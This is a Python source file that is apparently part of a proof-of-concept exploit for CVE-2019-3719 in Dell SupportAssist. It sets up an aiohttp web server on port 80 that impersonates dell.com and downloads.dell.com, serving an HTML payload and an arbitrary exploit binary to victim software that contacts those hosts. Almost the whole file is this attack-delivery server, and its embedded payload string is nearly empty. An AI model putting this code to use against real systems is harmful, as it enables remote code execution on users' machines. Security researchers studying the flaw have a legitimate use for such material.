from aiohttp import web import asyncio import string import random from threading import Thread filename = "" PAYLOAD = '''

CVE-2019-3719

''' def id_generator(size=6, chars=string.ascii_uppercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) def handle(request): global filename global PAYLOAD if request.headers["Host"] is not None: if "downloads.dell.com" in request.headers["Host"]: print("[+] Exploit binary requested.") return web.FileResponse(filename) elif "dell.com" in request.headers["Host"]: print("[+] Exploit payload requested.") return web.Response(text=PAYLOAD, headers={'Content-Type': 'text/html'}) redirect_url = "http://dellrce.dell.com" return web.HTTPFound(redirect_url) class WebServer: def __init__(self, payload_filename): global filename filename = payload_filename self.loop = asyncio.get_event_loop() app = web.Application(debug=True) app.add_routes([web.get('/{a:.*}', handle)]) handler = app.make_handler() self.server = self.loop.create_server(handler, host='0.0.0.0', port=80) self.server_thread = Thread(target=self.server_handler, args=(self,)) self.server_thread.start() print("[+] Webserver started.") def server_handler(self, arg): self.loop.run_until_complete(self.server) self.loop.run_forever()